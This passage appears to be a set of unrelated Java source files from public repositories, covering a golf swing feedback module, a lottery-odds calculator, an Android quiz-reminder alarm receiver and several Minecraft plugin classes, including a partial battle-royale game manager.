// public static final String PULL_SLICE_CAUSE = "通常是因為上桿時P2過於內側,手臂和身體過於靠近卡住之後,反而在下桿時由外側下桿、或是軸心偏移太多導致右手必須補償所致,最容易出現雞翅膀的問題。";
// public static final String PULL_SLICE_SUGGEST = "上桿時維持軸心,P2時桿身平行於雙腳之平行線,保持桿面角度,P2至P4胸椎充分旋轉,下桿時於P3重心往左,左半身帶領的同時,P5至P6右肩和右手肘維持外旋,左手腕在P5.5時屈曲,維持手腕角度過球,轉身至P10收桿。";
public static final String PULL_SLICE_CAUSE_P2_3 = "上桿時P2過於內側,手臂和身體過於靠近";
public static final String PULL_SLICE_SUGGEST_P2_3 = "上桿時維持軸心,P2時桿身平行於雙腳之平行線,保持桿面角度";
public static final String PULL_SLICE_CAUSE_P4 = "擺動路徑過於內向";
public static final String PULL_SLICE_SUGGEST_P4 = "胸椎充分旋轉,重心往左";
public static final String PULL_SLICE_CAUSE_P5_6 = "下桿時由外側下桿";
public static final String PULL_SLICE_SUGGEST_P5_6 = "P5至P6右肩和右手肘維持外旋,左手腕在P5.5時屈曲";
public static final String PULL_SLICE_CAUSE_P7 = "觸球時桿面角度關閉,但桿面角度小於揮桿軌跡";
public static final String PULL_SLICE_SUGGEST_P7 = "維持手腕角度過球轉身至收尾收桿";
public static final String PUSH = "Push 右飛球";
public static final String PUSH_TRAJECTORY = "出球方向直直往右之右推球(P7觸球時桿面角度和軌跡都往右而且垂直,所以出球路徑筆直往右)";
public static final String PUSH_CAUSE_P2_3 = "上桿(P2~3)時,角度過於平緩,手腕過度內收,未保持適當角度";
public static final String PUSH_SUGGEST_P2_3 = "上桿(P2~3)時,角度過於平緩,手腕過度內收,未保持適當角度";
public static final String PUSH_CAUSE_P4 = "桿頭頂點過低,手腕過度彎曲";
public static final String PUSH_SUGGEST_P4 = "左手腕維持固定,腰部減少轉動";
public static final String PUSH_CAUSE_P5_6 = "下桿角度過於平緩,手腕未回復成預備站姿的角度,手用力而非肩膀轉動";
public static final String PUSH_SUGGEST_P5_6 = "下桿時,手腕及肩膀往左轉動";
public static final String PUSH_CAUSE_P7 = "桿面開放,擊球點位於球的內側";
public static final String PUSH_SUGGEST_P7 = "擊球時,左手腕維持固定,注意擊球點位置";
public static final String PUSH_SLICE = "Push Slice 右拉右曲球";
public static final String PUSH_SLICE_TRAJECTORY = "出球方向往目標右側之後再更往右曲之大右曲球(P7觸球時桿面過開,且揮桿軌跡由內往外但少於桿面角度,球會往右飛,然後再更向右曲)"; // 6.Push
public static final String PUSH_SLICE_CAUSE_P2_3 = "上桿(P2~3)時,角度過於平緩,手腕過度內收,未保持適當角度,肩或腰旋轉過度";
public static final String PUSH_SLICE_SUGGEST_P2_3 = "上桿(P2~3)時,左手腕維持固定,腰部減少轉動";
public static final String PUSH_SLICE_CAUSE_P4 = "桿頭頂點過低,腰部或手腕過度彎曲";
public static final String PUSH_SLICE_SUGGEST_P4 = "左手腕維持固定,腰部減少轉動";
public static final String PUSH_SLICE_CAUSE_P5_6 = "下桿角度過於平緩,左手腕過度外展,肩關節伸展抬起,腰部向前旋轉過度,身體重心太早向前移動";
public static final String PUSH_SLICE_SUGGEST_P5_6 = "下桿時,手腕及肩膀往左轉動,腰部減少旋轉";
public static final String PUSH_SLICE_CAUSE_P7 = "桿面開放,擊球點位於球的內側";
public static final String PUSH_SLICE_SUGGEST_P7 = "擊球時,左手腕維持固定,注意擊球點位置";
public static final String PUSH_HOOK = "(Push)Hook 右拉左曲球";
public static final String PUSH_HOOK_TRAJECTORY = "出球方向往目標線右側之後再往左曲之左曲球(P7 觸球時桿面打開軌跡由內向外,但桿面角度小於揮桿路徑)";
// public static final String PUSH_HOOK_CAUSE = "上桿往內側,然後再由內側透過手腕的翻轉使球往左旋。有時為了修正由外往內的揮桿路徑會刻意打出這種球來調整感覺,但做過頭的話很難控球,因為球落地會滾動太多,不容易控制距離。";
// public static final String PUSH_HOOK_SUGGEST = "上桿時維持軸心,P2時桿身平行於雙腳之平行線,保持桿面角度,P2至P4胸椎充分旋轉,下桿時於P3重心往左,左半身帶領的同時,P5至P6右肩和右手肘維持外旋,左手腕在P5.5時屈曲,維持手腕角度過球,轉身至P10收桿。";
public static final String PUSH_HOOK_CAUSE_P2_3 = "上桿往內側,然後再由內側透過手腕的翻轉使球往左旋";
public static final String PUSH_HOOK_SUGGEST_P2_3 = "上桿時維持軸心,保持桿面角度";
public static final String PUSH_HOOK_CAUSE_P4 = "桿頭在頂點位置過於內側";
public static final String PUSH_HOOK_SUGGEST_P4 = "胸椎充分旋轉,保持桿頭方正";
public static final String PUSH_HOOK_CAUSE_P5_6 = "開始下揮時,身體未能正確同步旋轉,桿面過於閉合";
public static final String PUSH_HOOK_SUGGEST_P5_6 = "下桿時,從臀部開始動作,保持下半身與上半身的協調";
public static final String PUSH_HOOK_CAUSE_P7 = "桿面打開軌跡由內向外,桿面角度小於揮桿路徑";
public static final String PUSH_HOOK_SUGGEST_P7 = "注重在接近擊球點時,保持下半身的穩定與桿面的正確閉合度";
// 4.Draw, 5.Straight, 6.Fade
public static final String DRAW = "Draw 小左曲球"; // Draw(小左曲球)
public static final String DRAW_TRAJECTORY = "出球方向往目標右側飛出再向左曲回到目標之小左曲球(P7觸球時桿面角度方正,揮桿路徑大於桿面角度。球直直的飛出去之後往左曲回到目標)";
// public static final String DRAW_CAUSE = "手腕角度保持得很好,觸球時桿面方正,且揮桿軌跡由內向外所致。";
// public static final String DRAW_SUGGEST = "這是職業選手喜歡打出的球路,瞄球時桿面朝向目標,站姿朝向目標右方,上桿時維持軸心,P2至P4胸椎充分旋轉,下桿時重心往左,左半身帶領,P5至P6右肩和右手肘維持外旋,左手腕在P5.5時屈曲,維持手腕角度過球,轉身至P10收桿。";
public static final String DRAW_CAUSE_P2_3 = "上桿時,手腕角度保持得很好";
public static final String DRAW_SUGGEST_P2_3 = "Nice Shot!";
public static final String DRAW_CAUSE_P4 = "觸球時桿面方正";
public static final String DRAW_SUGGEST_P4 = "漂亮的一擊!";
public static final String DRAW_CAUSE_P5_6 = "揮桿軌跡由內向外所致";
public static final String DRAW_SUGGEST_P5_6 = "你很優秀!繼續保持";
public static final String FADE = "Fade 小右曲球"; // Fade(小右曲球)
public static final String FADE_TRAJECTORY = "出球方向由目標左側飛出再向右曲回到目標之小右曲球 (P7觸球時桿面角度方正,揮桿路徑由外向內大於桿面角度。球直直的飛出去之後往右曲回到目標)";
// public static final String FADE_CAUSE = "手腕角度保持得很好,桿面觸球方正,且揮桿軌跡由外向內所致。";
// public static final String FADE_SUGGEST = "這是職業選手最喜歡打出的球路,需要保持手和身體的連結,瞄球時桿面朝向目標,站姿朝向目標左方,上桿時維持軸心,P2至P4胸椎充分旋轉,下桿時重心往左,左半身帶領,P5至P6右肩和右手肘維持外旋,左手腕在P5.5時屈曲,維持手腕角度過球,轉身至P10收桿。";
public static final String FADE_CAUSE_P2_3 = "上桿時,胸椎保持良好";
public static final String FADE_SUGGEST_P2_3 = "好球!";
public static final String FADE_CAUSE_P4 = "觸球時桿面角度方正";
public static final String FADE_SUGGEST_P4 = "優秀的觸球!";
public static final String FADE_CAUSE_P5_6 = "揮桿軌跡由外向內所致";
public static final String FADE_SUGGEST_P5_6 = "Excellent!";
public static final String STRAIGHT = "Straight 直飛球";
public static final String STRAIGHT_TRAJECTORY = "出球方向朝目標飛去之直球(P7觸球時桿面角度和軌跡都方正而且垂直,所以出球路徑往目標筆直飛去)";
// public static final String STRAIGHT_CAUSE = "P1至P10動作的位置和時間都配合得很好,且節奏流暢。";
// public static final String STRAIGHT_SUGGEST = "多練習且重複此揮桿動作。";
public static final String STRAIGHT_CAUSE_P2_3 = "上桿時,動作協調良好";
public static final String STRAIGHT_SUGGEST_P2_3 = "直得像箭一樣!";
public static final String STRAIGHT_CAUSE_P4 = "節奏十分流暢";
public static final String STRAIGHT_SUGGEST_P4 = "那是一個完美的擊發!";
public static final String STRAIGHT_CAUSE_P5_6 = "P1至P10動作的位置和時間都配合得很好";
public static final String STRAIGHT_SUGGEST_P5_6 = "絕妙的一球!";
public static final float LONG_PUTT = 10; // 長推桿距離30英尺,約為10碼
public static final float SHORT_PUTT = 2; // 短推桿距離6英尺,約2碼
public static final float Putt_FACE_SQUARE_MIN = 2; // 桿面傾角
public static final float Putt_FACE_SQUARE_MAX = 4;
// TODO: 其他問題球:
public static final String THE_TOP = "擊球失誤導致擊出剃頭球或切滾球";
public static final String DUFF = "擊球失誤導致先擊到球後方之草地,再擊到球";
public static final String SHANK = "擊球失誤導致棒擊球";
public static final String LACK_OF_STRENGTH = "力道不足的擊球";
public class jmexParamData {
public int id;
public float pelvisSpeed; // 骨盆速度 度/秒
public float trunkSpeed; // 軀幹速度 度/秒
public float forearmSpeed; // 上臂速度 度/秒
public float handSpeed; // 手部速度 度/秒
public float trunkForwardBendAddress; // 軀幹前傾瞄球位置 度
public float trunkForwardBendTop; // 軀幹前傾頂點位置 度
public float trunkForwardBendImpact; // 軀幹前傾擊球位置 度
public float trunkSideBendAddress; // 軀幹側傾瞄球位置 度
public float trunkSideBendTop; // 軀幹側傾頂點位置 度
public float trunkSideBendImpact; // 軀幹側傾擊球位置 度
public float trunkRotationAddress; // 軀幹轉動瞄球位置 度
public float trunkRotationTop; // 軀幹轉動頂點位置 度
public float trunkRotationImpact; // 軀幹轉動擊球位置 度
public float pelvisForwardBendAddress; // 骨盆前傾瞄球位置 度
public float pelvisForwardBendTop; // 骨盆前傾頂點位置 度
public float pelvisForwardBendImpact; // 骨盆前傾擊球位置 度
public float pelvisSideBendAddress; // 骨盆側傾瞄球位置 度
public float pelvisSideBendTop; // 骨盆側傾頂點位置 度
public float pelvisSideBendImpact; // 骨盆側傾擊球位置 度
public float pelvisRotationAddress; // 骨盆轉動瞄球位置 度
public float pelvisRotationTop; // 骨盆轉動頂點位置 度
public float pelvisRotationImpact; // 骨盆轉動擊球位置 度
public int TSPelvis; // TS = Transition Sequencing 1~4
public int TSTrunk;
public int TSForearm;
public int TSHand;
public int PSSPelvis; // PPS = Peak Speed Sequencing 1~4
public int PSSTrunk;
public int PSSForearm;
public int PSSHand;
public float backSwingTime; // 上桿時間 秒
public float downSwingTime; // 下桿時間 秒
public float tempo = backSwingTime / downSwingTime;// 節奏 倍
public String addressS_Posture;
public String addressC_Posture;
public String topX_Factor;
public String topReverseSpine;
public String topFlatShoulder;
public String impactHipTurn;
}
public class ITRIData {
public float BallSpeed;
public float BackSpin;
public float SideSpin;
public float LaunchAngle;
public float Angle;
}
public class spaceCapuleParamData {
}
public class WrgData {
public float BallSpeed;
public float ClubAnglePath;
public float ClubAngleFace;
public float TotalDistFt;
public float CarryDistFt;
public float LaunchAngle;
public float SmashFactor;
public float BackSpin;
public float SideSpin;
public float ClubHeadSpeed;
public float LaunchDirection;
public float DistToPinFt;
public String ClubType;
}
public class WrgExpert {
public String expert_suggestion;
public String expert_cause;
public String expert_p_system;
public String expert_trajectory;
}
public static final String Par3_FirstStrike = "";
public static final String AllStatusGood = "各項數據表象良好,請繼續保持";
public static final String BallSpeedExpl = "球速為擊球時初始速度";
public static final String ClubHeadSpeedExpl = "桿頭速度為球桿頭在擊球瞬間的移動速度";
public static final String BackSpinExpl = "後旋為高爾夫球在飛行中繞自身軸心的旋轉";
public static final String LauchAngleExpl = "發射角度為高爾夫球離開球桿面時與地面的夾角";
public static final String DistanceExpl = "距離為高爾夫球從擊球點到停止滾動的直線距離";
public static final String LackBallSpeed1 = "力量不足";
public static final String LackBallSpeed2 = "擊球位置不佳";
public static final String LackClubHeadSpeed1 = "擊球節奏不佳";
public static final String LackClubHeadSpeed2 = "擊球節奏不佳";
public static final String LackDistance1 = "";
public static final String LackDistance2 = "";
public static final String LackBackSpin1 = "";
public static final String LackBackSpin2 = "";
public static final String LackLaunchAngle1 = "";
public static final String LackLaunchAngle2 = "";
public static final String AllStatusFail = "各項數據表現異常顯示擊球失誤,需要教練輔助和多加練習。";
// 距離
public final double GreatLevelTopDist = 139.10;
public final double GreatLevelLowDist = 128.27;
public final double GoodLevelLowDist = 114.69;
public final double NormalLevelLowDist = 98.94;
public final double BadLevelLowDist = 77.89;
public final double WorseLevelLowDist = 60.15;
// 桿頭速度
public final double GreatLevelTopCS = 79.07;
public final double GreatLevelLowCS = 75.01;
public final double GoodLevelLowCS = 70.79;
public final double NormalLevelLowCS = 66.33;
public final double BadLevelLowCS = 59.47;
public final double WorseLevelLowCS = 54.01;
// 球速
public final double GreatLevelTopBS = 100.15;
public final double GreatLevelLowBS = 94.71;
public final double GoodLevelLowBS = 89.06;
public final double NormalLevelLowBS = 81.22;
public final double BadLevelLowBS = 73.05;
public final double WorseLevelLowBS = 63.14;
// 發射角
public final double GreatLevelTopLA = 25.30;
public final double GreatLevelLowLA = 22.29;
public final double GoodLevelLowLA = 19.52;
public final double NormalLevelLowLA = 16.61;
public final double BadLevelLowLA = 12.55;
public final double WorseLevelLowLA = 5.09;
// 後旋
public final double GreatLevelTopBsp = 7570.40;
public final double GreatLevelLowBsp = 6632.20;
public final double GoodLevelLowBsp = 5633.40;
public final double NormalLevelLowBsp = 4659.00;
public final double BadLevelLowBsp = 3276.00;
public final double WorseLevelLowBsp = 1194.08;
}
| ideasiii/GolfMaster | src/com/golfmaster/moduel/DeviceData.java |
65,477 | 2
https://raw.githubusercontent.com/hasaki-w-c/JAVA--/master/ray/For.java
package ray;
/*这个程序用来计算抽奖中奖概率。例如必须从1~50之间的数字中取6个数字来抽奖
* ,那么会有(50*49*48*47*46*45)/(1*2*3*4*5*6)种可能的结果,所以中奖的机率为
* 1/15890700.祝你好运!*/
import java.util.Scanner;
public class For {
public static void main(String[] args)
{
Scanner in = new Scanner(System.in);
System.out.print("How many numbers do you need to draw?");
int k = in.nextInt();
System.out.print("What is the hignest number you can draw?");
int n = in.nextInt();
/*compute binomial coefficient n*(n+1)*(n+2)*...*(n-k+1)/(1*2*3*...*k)*/
int lotteryOdds = 1;
for(int i = 1;i <= k;i++)
lotteryOdds = lotteryOdds * (n - i + 1)/i;
System.out.println("Your odds are 1 in " + lotteryOdds + ".Good luck!");
}
}
| Zehrex/DD2476-Project | Crawler/data/For.java |
65,478 | package com.example.asusk557.mytiku.receiver;
import android.app.KeyguardManager;
import android.app.NotificationManager;
import android.app.PendingIntent;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.media.MediaPlayer;
import android.media.RingtoneManager;
import android.net.Uri;
import android.os.PowerManager;
import android.os.Vibrator;
import android.support.v4.app.NotificationCompat;
import android.support.v4.app.TaskStackBuilder;
import com.example.asusk557.mytiku.MainActivity;
import com.example.asusk557.mytiku.R;
import com.example.asusk557.mytiku.activity.Main2Activity;
import java.io.IOException;
/**
* Created by Administrator on 2016/4/25.
*/
public class AlarmReceiver extends BroadcastReceiver {
private NotificationManager nm;
private MediaPlayer mMediaPlayer;
private Vibrator vibrate;
public void onReceive(Context context, Intent intent) {
if ("android.alarm.tiku.action".equals(intent.getAction())) {
//第1步中设置的闹铃时间到,这里可以弹出闹铃提示并播放响铃
//可以继续设置下一次闹铃时间;
NotificationCompat.Builder mBuilder2 = new NotificationCompat.Builder(context);
mBuilder2.setTicker("主人,该做题了,你准备好了吗?");
mBuilder2.setSmallIcon(R.mipmap.ic_formal);
mBuilder2.setContentTitle("执业医师题库");
mBuilder2.setContentText("开始作答吧,祝你好运!");
//设置点击一次后消失(如果没有点击事件,则该方法无效。)
mBuilder2.setAutoCancel(true);
//点击通知之后需要跳转的页面
Intent resultIntent = new Intent(context, Main2Activity.class);
//使用TaskStackBuilder为“通知页面”设置返回关系
TaskStackBuilder stackBuilder = TaskStackBuilder.create(context);
//为点击通知后打开的页面设定 返回 页面。(在manifest中指定)
stackBuilder.addParentStack(MainActivity.class);
stackBuilder.addNextIntent(resultIntent);
PendingIntent pIntent = stackBuilder.getPendingIntent(0, PendingIntent.FLAG_UPDATE_CURRENT);
mBuilder2.setContentIntent(pIntent);
// mId allows you to update the notification later on.
nm = (NotificationManager) context.getSystemService(Context.NOTIFICATION_SERVICE);
nm.notify(1, mBuilder2.build());
// 等待3秒,震动3秒,-1表示不循环,1表示循环播放
vibrate = (Vibrator) context.getSystemService(Context.VIBRATOR_SERVICE);
vibrate.vibrate(new long[]{1000, 1000}, -1);
sound(context);
new Thread(new Runnable() {
@Override
public void run() {
try {
Thread.sleep(1000);
mMediaPlayer.stop();
mMediaPlayer.release();
} catch (InterruptedException e) {
e.printStackTrace();
}
}
}).start();
KeyguardManager km = (KeyguardManager) context.getSystemService(Context.KEYGUARD_SERVICE);
KeyguardManager.KeyguardLock kl = km.newKeyguardLock("unLock");
//解锁
kl.disableKeyguard();
//获取电源管理器对象
PowerManager pm = (PowerManager) context.getSystemService(Context.POWER_SERVICE);
//获取PowerManager.WakeLock对象,后面的参数|表示同时传入两个值,最后的是LogCat里用的Tag
PowerManager.WakeLock wl = pm.newWakeLock(PowerManager.ACQUIRE_CAUSES_WAKEUP | PowerManager.SCREEN_DIM_WAKE_LOCK, "bright");
//点亮屏幕
wl.acquire();
//释放
wl.release();
}
}
// 使用来电铃声的铃声路径
private void sound(Context context) {
Uri uri = RingtoneManager.getDefaultUri(RingtoneManager.TYPE_RINGTONE);
if (mMediaPlayer == null)
mMediaPlayer = new MediaPlayer();
try {
mMediaPlayer.setDataSource(context, uri);
mMediaPlayer.prepare();
mMediaPlayer.start();
} catch (IOException e) {
e.printStackTrace();
}
}
}
| longchr123/PhysicianExam | app/src/main/java/com/example/asusk557/mytiku/receiver/AlarmReceiver.java |
65,479 | package tech.mctown.infocommand.mixin;
import tech.mctown.infocommand.InfoCommand;
import net.minecraft.client.gui.screen.TitleScreen;
import org.spongepowered.asm.mixin.Mixin;
import org.spongepowered.asm.mixin.injection.At;
import org.spongepowered.asm.mixin.injection.Inject;
import org.spongepowered.asm.mixin.injection.callback.CallbackInfo;
@Mixin(TitleScreen.class)
public class CommandMixin {
@Inject(at = @At("HEAD"), method = "init()V")
private void init(CallbackInfo info) {
InfoCommand.LOGGER.info("Apricityx_祝你好运!");
}
}
| MCTown/InfoCommand | src/main/java/tech/mctown/infocommand/mixin/CommandMixin.java |
65,480 | package org.wolflink.minecraft.plugin.siriuxa.menu.task.icon;
import lombok.NonNull;
import org.bukkit.Material;
import org.bukkit.entity.Player;
import org.bukkit.inventory.ItemStack;
import org.wolflink.common.ioc.IOC;
import org.wolflink.minecraft.plugin.siriuxa.api.view.Icon;
import org.wolflink.minecraft.plugin.siriuxa.menu.task.TaskMenu;
import org.wolflink.minecraft.plugin.siriuxa.task.tasks.common.TaskService;
public class CreateTask extends Icon {
private final TaskService taskService;
private final TaskMenu taskMenu;
public CreateTask(TaskMenu taskMenu) {
super(20);
this.taskMenu = taskMenu;
taskService = IOC.getBean(TaskService.class);
}
@Override
protected @NonNull ItemStack createIcon() {
if (canCreate()) {
return fastCreateItemStack(Material.WRITABLE_BOOK, 1, "§8[ §f登记任务 §8]",
" ",
" §7完成任务登记后,前往 §f空降勘探仓 §7,准备降落。",
" §7当然,你可以在一旁的补给处再做一些准备,购买物资什么的。",
" §7祝你好运!",
" ",
" §a任务可登记",
" "
);
} else {
return fastCreateItemStack(Material.WRITABLE_BOOK, 1, "§8[ §f登记任务 §8]",
" ",
" §7完成任务登记后,前往 §f空降勘探仓 §7,准备降落。",
" §7当然,你可以在一旁的补给处再做一些准备,购买物资什么的。",
" §7祝你好运!",
" ",
" §c任务不可登记",
" §8|| §e未选择任务难度"
);
}
}
private boolean canCreate() {
return taskMenu.getSelectedDifficulty() != null;
}
@Override
public void leftClick(Player player) {
if (!canCreate()) return;
// TODO 创建任务
// Result result = taskService.create(player, ExplorationTask.class, taskMenu.getSelectedDifficulty());
// result.show(player);
// player.closeInventory();
// if (result.result()) {
// player.playSound(player.getLocation(), Sound.ITEM_BOOK_PAGE_TURN, 1f, 1f);
// player.playSound(player.getLocation(), Sound.ENTITY_PLAYER_LEVELUP, 1f, 1.2f);
// } else {
// player.playSound(player.getLocation(), Sound.ENTITY_VILLAGER_NO, 1f, 0.8f);
// }
}
@Override
public void rightClick(Player player) {
// 和左键单击相同的效果
leftClick(player);
}
}
| WolfLink-DevTeam/Siriuxa | src/main/java/org/wolflink/minecraft/plugin/siriuxa/menu/task/icon/CreateTask.java |
65,481 | package com.github.JHXSMatthew.Game;
import java.text.DecimalFormat;
import java.util.ArrayList;
import java.util.Collections;
import java.util.List;
import java.util.Random;
import org.bukkit.Bukkit;
import org.bukkit.ChatColor;
import org.bukkit.GameMode;
import org.bukkit.Location;
import org.bukkit.Material;
import org.bukkit.Sound;
import org.bukkit.WorldBorder;
import org.bukkit.entity.FallingBlock;
import org.bukkit.metadata.FixedMetadataValue;
import org.bukkit.scheduler.BukkitRunnable;
import org.bukkit.scheduler.BukkitTask;
import org.bukkit.scoreboard.DisplaySlot;
import org.bukkit.scoreboard.Objective;
import org.bukkit.scoreboard.Score;
import org.bukkit.scoreboard.Scoreboard;
import org.bukkit.scoreboard.Team;
import com.github.JHXSMatthew.Core;
import com.github.JHXSMatthew.Config.Message;
import com.github.JHXSMatthew.Util.ActionBarUtil;
import com.github.JHXSMatthew.Util.EntityUtil;
import com.github.JHXSMatthew.Util.FireWorkUlt;
import com.github.JHXSMatthew.Util.LocationUtil;
public class Game {
private static double PeopleCouldStart = 90;
private static int MaxPeopleCount = 99;
private static int startCounting = 300;
private static double shrinkTime = 3600;
private static boolean debug = false;
private List<GameTeam> teams = Collections.synchronizedList(new ArrayList<GameTeam>());
private List<GamePlayer> players = Collections.synchronizedList(new ArrayList<GamePlayer>());
private List<Location> chestLocations = Collections.synchronizedList(new ArrayList<Location>());
private WorldBorder border = null;
private GameState gameState = null;
DecimalFormat df = new DecimalFormat("0.00");
private BukkitTask currentTask = null;
private BukkitTask chestTask = null;
private boolean shouldUpdateDetail = true;
public int publicCount = 0;
private int priviousBorderScore = (int) Core.boarderSize;
//private int currentBorderScore = 1000;
public Game(){
if(debug){
changeState(GameState.Lobby);
startCounting = 10;
PeopleCouldStart = 2;
}else{
changeState(GameState.Generating);
}
}
public void teleportFirst(GamePlayer gp){
for(GamePlayer temp : players){
if(!temp.isSpec()){
gp.get().teleport(temp.get());
break;
}
}
}
private GamePlayer getFirstPlayer(){
for(GamePlayer gp: players){
if(gp.isSpec()){
continue;
}
return gp;
}
return null;
}
public void teamPlayer(GamePlayer a, GamePlayer b){
if(a.isInTeam() && b.isInTeam()){
a.sendMessage(ChatColor.YELLOW + " 您已经在一个队伍里了! 请您使用物品栏第 8 格物品退出队伍后再组队.");
return;
}
if(b.isInRequestList(a)){
GamePlayer whoHasTeam = null;
if(a.getTeam() != null){
whoHasTeam = a;
}
if(b.getTeam() != null){
whoHasTeam = b;
}
if(whoHasTeam == null){
GameTeam gt = new GameTeam();
gt.JoinTeam(a, true);
gt.JoinTeam(b, true);
teams.add(gt);
}else{
GameTeam gt = whoHasTeam.getTeam();
gt.JoinTeam( gt.isInTeam(a)?b:a , true);
}
b.removeFromRequestList(a);
shouldUpdateDetail = true;
updateScoreboard(false);
}else{
a.addRequestList(b);
}
/*
if(a.isInTeam() ){
if(b.isInTeam()){
//dead .
}else{
if(b.isInRequestList(a)){
b.removeFromRequestList(a);
a.getTeam().JoinTeam(b, true);
}else{
a.addRequestList(b);
}
}
}else{
if(b.isInTeam()){
if(a.isInRequestList(b)){
a.removeFromRequestList(b);
b.getTeam().JoinTeam(a, true);
}else{
b.addRequestList(a);
}
}else{
}
}
*/
/*
GamePlayer whoHasTeam = null;
if(a.getTeam() != null){
whoHasTeam = a;
}
if(b.getTeam() != null){
whoHasTeam = b;
}
if(whoHasTeam == null){
GameTeam gt = new GameTeam();
gt.JoinTeam(a, true);
gt.JoinTeam(b, true);
teams.add(gt);
}else{
GameTeam gt = whoHasTeam.getTeam();
gt.JoinTeam( gt.isInTeam(a)?b:a , true);
}
shouldUpdateDetail = true;
updateScoreboard();
*/
}
public void GameJoin(GamePlayer gp){
players.add(gp);
if(gameState == GameState.Generating || gameState == GameState.Lobby || gameState == GameState.Starting){
gp.setGameJoin();
this.sendToAllMessage(ChatColor.YELLOW + " 玩家 " + gp.get().getName() + " 加入了游戏. " + ChatColor.GREEN + "(" + players.size() + "/" + MaxPeopleCount + ") ");
if(canBegin()){
/*
gameState = GameState.Starting;
runTask(GameState.Starting);
*/
changeState(GameState.Starting);
}
shouldUpdateDetail = true;
updateScoreboard(false);
}else{
gp.setGameSpec();
gp.get().teleport(players.get(0).get());
updateOneScoreboard(gp);
//hide players
for(GamePlayer temp : players){
if(!temp.isSpec()){
continue;
}
if(temp != gp){
if(gp.get().canSee(temp.get()))
gp.get().hidePlayer(temp.get());
if(temp.get().canSee(gp.get()))
temp.get().hidePlayer(gp.get());
}
}
}
}
public void GameQuit(GamePlayer gp){
gp.setGameQuit();
players.remove(gp);
GameTeam gt = gp.getTeam();
if(gt != null){
gt.DiePlayer(gp);
}
Core.get().getBc().quitSend(gp.get());
if(this.getGameStateString().contains("游戏")){
checkWinning();
}
if(!gp.isSpec() && !teams.contains(gt)){
shouldUpdateDetail = true;
updateScoreboard(false);
}
}
public void joinSpec(GamePlayer gp) {
gp.setGameSpec();
GameTeam gt = gp.getTeam();
if(gt != null){
gt.DiePlayer(gp);
}
checkWinning();
if(gp.getTeam() == null){
shouldUpdateDetail = true;
updateScoreboard(false);
}else{
updateOneScoreboard(gp);
}
for(GamePlayer temp : players){
if(!temp.isSpec()){
temp.get().hidePlayer(gp.get());
continue;
}
if(temp != gp){
if(gp.get().canSee(temp.get()))
gp.get().hidePlayer(temp.get());
if(temp.get().canSee(gp.get()))
temp.get().hidePlayer(gp.get());
}
}
}
private boolean canBegin(){
if(players.size() >= PeopleCouldStart && gameState == GameState.Lobby ){
return true;
}
return false;
}
private Scoreboard getEmptyScoreBoard(GameTeam gt){
Scoreboard board = Bukkit.getScoreboardManager().getNewScoreboard();
Team ally = board.registerNewTeam("队友");
Team enemy = board.registerNewTeam("敌人");
Team spec = board.registerNewTeam("观战");
enemy.setPrefix(ChatColor.RED.toString() );
ally.setPrefix(ChatColor.DARK_PURPLE + ChatColor.BOLD.toString() + "队伍 " + ChatColor.GREEN );
if(gt ==null){
if(this.getGameStateString().contains("游戏")){
for(GamePlayer gp : players){
if(!gp.isSpec()){
enemy.addEntry(gp.get().getName());
}else{
spec.addEntry(gp.get().getName());
}
}
}else{
for(GamePlayer gp : players){
enemy.addEntry(gp.get().getName());
}
}
}else{
for(GamePlayer gp : players){
if(gt.isInTeam(gp)){
ally.addEntry(gp.get().getName());
}else{
if(!gp.isSpec()){
enemy.addEntry(gp.get().getName());
}else{
spec.addEntry(gp.get().getName());
}
}
}
}
Objective ob = board.registerNewObjective("Sidder", "dummy");
ob.setDisplayName(ChatColor.YELLOW + ChatColor.BOLD.toString() + "YourCraft");
ob.setDisplaySlot(DisplaySlot.SIDEBAR);
/*
if(gameState != GameState.Lobby && gameState != GameState.Generating && gameState != GameState.Starting ){
Objective health = board.registerNewObjective("Health", "health");
health.setDisplaySlot(DisplaySlot.BELOW_NAME);
health.setDisplayName(ChatColor.RED + ChatColor.BOLD.toString() + "❤");
new BukkitRunnable(){
public void run(){
for(GamePlayer gp: players){
try{
WrapperPlayServerScoreboardScore packet = new WrapperPlayServerScoreboardScore();
packet.setObjectiveName("Health");
packet.setScoreName(gp.get().getName());
packet.setScoreboardAction(ScoreboardAction.CHANGE);
packet.setValue((int) gp.get().getHealth());
for(GamePlayer temp: players){
if(temp == gp){
continue;
}
packet.sendPacket(temp.get());
}
}catch(Exception e){
}
}
}
}.runTaskAsynchronously(Core.get());
}
*/
return board;
}
private void updateOneScoreboard(GamePlayer gp){
switch(gameState){
case Nopvp:
Scoreboard sb = getEmptyScoreBoard(null);
Objective obj = sb.getObjective(DisplaySlot.SIDEBAR);
Score s = obj.getScore(" ");
s.setScore(13);
s = obj.getScore(ChatColor.YELLOW + ChatColor.BOLD.toString() + "幸存队伍" );
s.setScore(12);
s = obj.getScore(teams.size()+ " 队");
s.setScore(11);
s = obj.getScore(" ");
s.setScore(10);
s = obj.getScore(ChatColor.YELLOW + ChatColor.BOLD.toString() + "边境");
s.setScore(9);
s = obj.getScore("-" + this.priviousBorderScore/2 + " +" + this.priviousBorderScore/2 );
s.setScore(8);
s = obj.getScore(" ");
s.setScore(7);
s = obj.getScore(ChatColor.AQUA + "www.mcndsj.com");
s.setScore(6);
obj.setDisplayName(ChatColor.GREEN + ChatColor.BOLD.toString() + "保护结束 " + ChatColor.RED + publicCount + ChatColor.GREEN + ChatColor.BOLD.toString() + " 秒");
gp.get().setScoreboard(sb);
break;
case Gaming:
sb = getEmptyScoreBoard(null);
obj = sb.getObjective(DisplaySlot.SIDEBAR);
s = obj.getScore(" ");
s.setScore(13);
s = obj.getScore(ChatColor.YELLOW + ChatColor.BOLD.toString() + "幸存队伍" );
s.setScore(12);
s = obj.getScore(teams.size()+ " 队");
s.setScore(11);
s = obj.getScore(" ");
s.setScore(10);
s = obj.getScore(ChatColor.YELLOW + ChatColor.BOLD.toString() + "边境");
s.setScore(9);
s = obj.getScore("-" + this.priviousBorderScore/2 + " +" + this.priviousBorderScore/2 );
s.setScore(8);
s = obj.getScore(" ");
s.setScore(7);
s = obj.getScore(ChatColor.AQUA + "www.mcndsj.com");
obj.setDisplayName(ChatColor.GREEN + ChatColor.BOLD.toString() + "战斗阶段");
s.setScore(6);
gp.get().setScoreboard(sb);
break;
case Finish:
sb = getEmptyScoreBoard(null);
obj = sb.getObjective(DisplaySlot.SIDEBAR);
s = obj.getScore(" ");
s.setScore(13);
s = obj.getScore(ChatColor.YELLOW + ChatColor.BOLD.toString() + "幸存队伍" );
s.setScore(12);
